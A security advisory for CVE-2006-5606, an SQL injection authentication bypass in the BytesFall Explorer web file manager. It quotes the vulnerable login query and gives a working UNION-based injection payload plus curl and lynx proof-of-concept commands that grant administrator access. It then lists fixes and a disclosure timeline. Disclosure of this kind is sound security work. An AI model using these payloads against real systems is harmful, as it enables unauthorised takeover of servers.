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Authentication bypass in BytesFall Explorer

A malicious user can bypass authentication and take over the role of the administrator of BytesFall Explorer by using an SQL injection. Several other SQL injections are possible.


Product: BytesFall Explorer
Affected Versions: <=
Fixed Versions:
Vulnerability Type: SQL injection
Security-Risk: medium 
Vendor-Status: informed, fixed version released
Advisory-Status: public
CVE: CVE-2006-5606


BytesFall Explorer is a web-based file manager programmed in PHP and JavaScript and licensed under the GNU GPL. It allows to upload, download, view, edit, copy, move/rename and change permissions of a single file/directory or a group of files/directories.

More Details

Because of missing user input sanitizations a malicious user can modify an SQL query in login/doLogin.php, line 13:

13   $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';", $tables_preffix, $username));

By using the username

' union select
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from bfe_users where ''='

and password 'redteam' a user can login and take over the role of the administrator of BytesFall Explorer.

Many other SQL injections in other files exist that can be exploited. 

Proof of Concept

Using curl:

curl -i --data-binary
"username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from bfe_users where ''='&Login=Login&password=redteam"

or lynx:

printf "username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data


Use PHP Magic Quotes.


Use PHP's mysql_escape_string() to sanitize variables containing user
input before using them in MySQL queries. A fixed version of BytesFall
Explorer is available.

Security Risk

RedTeam considers the security risc medium. BytesFall Explorer can be
compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes
do not represent real security, they are a workaround for these problems.


2006-10-26 Discovery of the vulnerabilities
2006-10-26 Vendor is informed
2006-10-26 Vendor releases fixed version
2006-10-31 Advisory released
2009-05-08 Updated Advisory URL


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